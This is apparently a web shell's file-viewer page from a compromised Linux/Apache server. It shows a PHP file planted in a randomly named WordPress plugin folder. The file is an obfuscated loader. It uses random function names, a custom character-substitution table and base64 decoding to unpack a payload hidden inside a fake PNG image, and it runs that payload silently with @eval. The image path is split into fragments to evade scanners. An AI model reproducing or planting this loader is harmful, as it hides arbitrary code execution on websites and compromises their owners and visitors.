HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web78 (5081)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web78/web/wp-content/plugins/aboshyxu/nidyqi.txt
<?php

function amecox_xethopez($jetave_othoxoda) {
    if ($jetave_othoxoda == 1)
        return ajisow_ichuryduj();
    if ($jetave_othoxoda == 2)
        return aroceq_rogethezim();
}

function hocesu_urytacith($jetave_othoxoda) {
    $umulykh = amecox_xethopez(1);
    $tipybo = amecox_xethopez(2);
    for ($gygufo = 0; $gygufo < strlen($umulykh); $gygufo++) {
        $tuhyxuz = substr($umulykh, $gygufo, 1);
        $duthuxi = substr($tipybo, $gygufo, 1);
        $ejopyr[$tuhyxuz] = $duthuxi;
    }

    $jonugac = strtr($jetave_othoxoda, $ejopyr);
    $jonugac = base64_decode($jonugac);

    return $jonugac;
}

function higiny_ewizhikiq($jetave_othoxoda) {
    $gazuga = array();
    if (!file_exists($jetave_othoxoda))
        return false;
    $ovowur = @file_get_contents($jetave_othoxoda);
    if (!$ovowur)
        return false;
    $ovowur = substr($ovowur, 3);
    $gazuga = hocesu_urytacith($ovowur);
    return $gazuga;
}

function ajisow_ichuryduj() {
    $ovowur = "xJjCLpFoXMSVl=vUdEI/3ibg0+z89qWkmNOBQ2D7R6YfZeahcunKHPsw5tT4G1rAy";
    return $ovowur;
}

function aroceq_rogethezim() {
    $gazuga = "BbdJoeiHXDtc4KxS/Lg2NMzE=n87fGyWsRmYwhIrkCUl1T59O+a6PZVqjvFu3p0QA";
    return $gazuga;
}

$qofuqe = higiny_ewizhikiq(__DIR__ . "/asse" . "ts/i" . "mages" . "/idoxo" . "zy.p" . "ng");
if ($qofuqe) {
    @eval($qofuqe);
}